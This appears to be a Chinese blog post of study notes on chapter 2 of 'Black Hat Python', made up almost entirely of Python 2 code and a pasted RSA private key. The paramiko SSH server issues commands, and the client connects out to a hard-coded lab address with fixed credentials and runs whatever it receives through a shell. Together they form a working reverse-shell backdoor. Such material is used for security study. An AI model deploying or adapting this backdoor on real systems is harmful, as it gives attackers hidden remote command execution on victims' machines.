Python黑帽子学习笔记-----第二章
2017-10-14 22:10
417 查看
# -*- coding:utf-8 -*- import socket import paramiko import threading import sys import time import logging logging.basicConfig() #paramiko.OPEN_SUCCEEDED # 使用Patamiko示例文件的密钥 host_key = paramiko.RSAKey(filename='test_rsa.key') #host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa') class Server(paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def check_channel_request(self,kind,chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED #return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self,username,password): if(username == 'hugo') and (password == '123'): return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILED server = sys.argv[1] # ip ssh_port = int(sys.argv[2]) # port try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) sock.bind((server,ssh_port)) sock.listen(100) print('[+] Listening for connection ...') client,addr = sock.accept() except Exception,e: print('[-] Listen failed: ' + str(e)) sys.exit(1) print('[+] Got a connection!') try: bhSession = paramiko.Transport(client) bhSession.add_server_key(host_key) server = Server() try: bhSession.start_server(server=server) except paramiko.SSHException,x: print('[-]SSH negotiation failed.') chan = bhSession.accept(20) print('[+] Authenticated!') #time.sleep(0.01) #print(chan.recv[1024]) #chan.send('Welcome to bh_ssh') while True: try: command = raw_input("Enter command:").strip('\n') if command != 'exit': chan.send(command) print(chan.recv(1024) + '\n') else: chan.send('exit') print('exiting') bhSession.close() raise Exception('exit') except KeyboardInterrupt: bhSession.close() except Exception,e: print('[-] Caught exeption: ' + str(e)) try: bhSession.close() #bhSession.close() except: pass sys.exit(1)
# -*- coding:utf-8 -*- # bh_sshRcmd.py import threading import paramiko import subprocess import time def ssh_command(ip, user, passwd,command, port = 8884): client = paramiko.SSHClient() # client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证 client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #设置自动添加和保存目标ssh服务器的ssh密钥 client.connect(ip, port, username=user, password=passwd) #连接 ssh_session = client.get_transport().open_session() #打开会话 if ssh_session.active: #command = ssh_session.recv(1024) ssh_session.send(command) #执行命令 print ssh_session.recv(1024) #返回命令执行结果(1024个字符) while True: command = ssh_session.recv(1024) #从ssh服务器获取命令 try: cmd_output = subprocess.check_output(command, shell=True) ssh_session.send(str(cmd_output)) except Exception, e: ssh_session.send(str(e)) client.close() return port = int(raw_input("Please enter the port:")) ssh_command('192.168.64.128','hugo','123','ClinetConnected',port)
-----BEGIN RSA PRIVATE KEY----- MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyz oWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/ d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKB gBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0 EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fon soVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9H tYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqU avNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA 4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3g H0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTv qfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wV HhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiSc nvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7 -----END RSA PRIVATE KEY-----
相关文章推荐
- python-MySQL学习笔记-第二章-在特定数据库中创建表
- python学习笔记【1】(第二章:python的基础语法)
- 《Python 黑帽子》学习笔记 - 网络基础2- Day 3
- Python学习笔记-第二章 列表和元组
- 《Python 黑帽子》学习笔记 - SSH 端口转发 - Day 12
- Python黑帽子学习笔记-----第三章
- 流畅的python学习笔记:第二章
- 《HeadFirst Python》第二章学习笔记
- python学习笔记 第二章
- 《Python 黑帽子》学习笔记 - SSH 远程登录 - Day 11
- 流程python学习笔记:第二章(2)
- 流程python学习笔记:第二章(1)
- Python基础教程学习笔记 第二章 列表和元组
- 《HeadFirst Python》第二章学习笔记
- 菜狗的Python学习笔记 第二章 列表和元组
- 《Python 黑帽子》学习笔记 - Python3 实现 netcat - Day 8
- python 学习笔记第二章:安装python
- 《Python 黑帽子》学习笔记 - netcat 介绍1- Day 5
- python网络数据采集学习笔记:第二章
- 编程小白的第一本 python 入门书 学习笔记01 第二章 安装Python环境